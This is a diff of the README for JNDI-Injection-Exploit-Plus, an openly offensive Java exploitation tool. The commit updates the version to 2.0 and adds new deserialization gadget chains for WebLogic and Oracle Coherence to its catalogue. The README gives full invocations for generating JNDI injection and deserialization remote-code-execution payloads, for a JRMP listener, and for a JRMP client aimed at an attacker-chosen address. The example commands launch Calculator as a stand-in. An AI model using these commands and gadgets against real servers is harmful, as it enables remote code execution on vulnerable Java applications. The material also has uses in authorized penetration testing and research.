@@ -35,7 +35,7 @@ Groovy (GroovyClassLoader) | @cckuailong | trustURLCodebase is false but have To
3535Groovy (GroovyShell) | @cckuailong | trustURLCodebase is false but have Tomcat and Groovy in classpath
3636Websphere Readfile | @cckuailong | trustURLCodebase is false but have WebSphere v6-v9 in classpath
3737
38- #### 3. Deserailization Gadget (total: 58 )
38+ #### 3. Deserailization Gadget (total: 64 )
3939
4040P.S. More Gadgets (:arrow_up : ) than ysoserial, welcome to PR more! ^_ ^
4141
@@ -51,6 +51,8 @@ Coherence1 :arrow_up: |@cckuailong |coherence:3.7.1.0,
5151Coherence2 :arrow_up : |@cckuailong |coherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0
5252Coherence3 :arrow_up : |@cckuailong |coherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0
5353Coherence4 :arrow_up : |@cckuailong |coherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0
54+ Coherence5 :arrow_up : |@cckuailong |coherence:12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0
55+ Coherence6 :arrow_up : |@cckuailong |coherence:12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0
5456CommonsBeanutils1 |@frohoff |commons-beanutils:1.9.2
5557CommonsBeanutils2 :arrow_up : |@cckuailong |commons-beanutils:1.9.2
5658CommonsCollections1 |@frohoff |commons-collections:3.1
@@ -97,6 +99,10 @@ Weblogic4 :arrow_up: |@cckuailong |weblogic.common.int
9799Weblogic5 :arrow_up : |@cckuailong |weblogic:12.2.1.4, coherence
98100Weblogic6 :arrow_up : |@cckuailong |weblogic:10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4
99101Weblogic7 :arrow_up : |@cckuailong |weblogic:10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4
102+ Weblogic8 :arrow_up : |@cckuailong |weblogic:12.2.1.3, 12.2.1.4, 14.1.1.0
103+ Weblogic9 :arrow_up : |@cckuailong |weblogic:10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4, 14.1.1.0
104+ Weblogic10 :arrow_up : |@cckuailong |weblogic:10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4, 14.1.1.0
105+ Weblogic11 :arrow_up : |@cckuailong |weblogic:12.2.1.3, 12.2.1.4, 14.1.1.0
100106Wicket1 |@jacob-baines |wicket-util:6.23.0, slf4j-api:1.6.4
101107WildFly1 :arrow_up : |@hugow |org.wildfly:wildfly-connector:26.0.1.Final
102108
@@ -118,15 +124,15 @@ Apereo | Apereo 4.1 Deserialization RCE
118124- Example
119125
120126``` shell
121- $ java -jar JNDI-Injection-Exploit-Plus-1.9 -SNAPSHOT-all.jar -C " open -a Calculator" -D Jdk7u21 -W Xstream
127+ $ java -jar JNDI-Injection-Exploit-Plus-2.0 -SNAPSHOT-all.jar -C " open -a Calculator" -D Jdk7u21 -W Xstream
122128```
123129
124130![ ] ( ./img/4.png )
125131
126132#### Web service to return Deserial Gadgets
127133
128134``` shell
129- java -jar JNDI-Injection-Exploit-Plus-1.9 -SNAPSHOT-all.jar
135+ java -jar JNDI-Injection-Exploit-Plus-2.0 -SNAPSHOT-all.jar
130136```
131137
132138``` shell
@@ -146,7 +152,7 @@ P.S. Param wrapper & output is opetional
146152Run as
147153
148154``` shell
149- $ java -jar JNDI-Injection-Exploit-Plus-1.9 -SNAPSHOT-all.jar [-C] [command] [-A] [address]
155+ $ java -jar JNDI-Injection-Exploit-Plus-2.0 -SNAPSHOT-all.jar [-C] [command] [-A] [address]
150156```
151157
152158where:
@@ -176,7 +182,7 @@ Points for attention:
176182Run as
177183
178184``` shell
179- $ java -jar JNDI-Injection-Exploit-Plus-1.9 -SNAPSHOT-all.jar [-C] [command] [-D] [Gadget] [-O] [bin/base64/hex]
185+ $ java -jar JNDI-Injection-Exploit-Plus-2.0 -SNAPSHOT-all.jar [-C] [command] [-D] [Gadget] [-O] [bin/base64/hex]
180186```
181187
182188where:
@@ -194,13 +200,13 @@ where:
194200- JRMPListener
195201
196202``` shell
197- java -cp JNDI-Injection-Exploit-Plus-1.9 -SNAPSHOT-all.jar exploit.JRMPListener < port> CommonsCollections1 calc
203+ java -cp JNDI-Injection-Exploit-Plus-2.0 -SNAPSHOT-all.jar exploit.JRMPListener < port> CommonsCollections1 calc
198204```
199205
200206- JRMPClient
201207
202208``` shell
203- java -jar JNDI-Injection-Exploit-Plus-1.9 -SNAPSHOT-all.jar -C " <ip>:<port>" -D " JRMPClient" -O base64
209+ java -jar JNDI-Injection-Exploit-Plus-2.0 -SNAPSHOT-all.jar -C " <ip>:<port>" -D " JRMPClient" -O base64
204210```
205211
206212## Examples
@@ -212,7 +218,7 @@ Local demo:
2122181 . Start the tool like this:
213219
214220 ``` shell
215- $ java -jar JNDI-Injection-Exploit-Plus-1.9 -SNAPSHOT-all.jar -C " /System/Applications/Calculator.app/Contents/MacOS/Calculator" -A " 127.0.0.1"
221+ $ java -jar JNDI-Injection-Exploit-Plus-2.0 -SNAPSHOT-all.jar -C " /System/Applications/Calculator.app/Contents/MacOS/Calculator" -A " 127.0.0.1"
216222 ```
217223
218224 Screenshot:
@@ -243,7 +249,7 @@ For More Examples: [Test-JNDI-Injection-Exploit-Plus](https://github.com/cckuail
243249### Deserialization Payloads
244250
245251``` shell
246- $ java -jar JNDI-Injection-Exploit-Plus-1.9 -SNAPSHOT-all.jar -C " /System/Applications/Calculator.app/Contents/MacOS/Calculator" -D " Spring2" -O base64
252+ $ java -jar JNDI-Injection-Exploit-Plus-2.0 -SNAPSHOT-all.jar -C " /System/Applications/Calculator.app/Contents/MacOS/Calculator" -D " Spring2" -O base64
247253```
248254
249255Base64 Output Result:
0 commit comments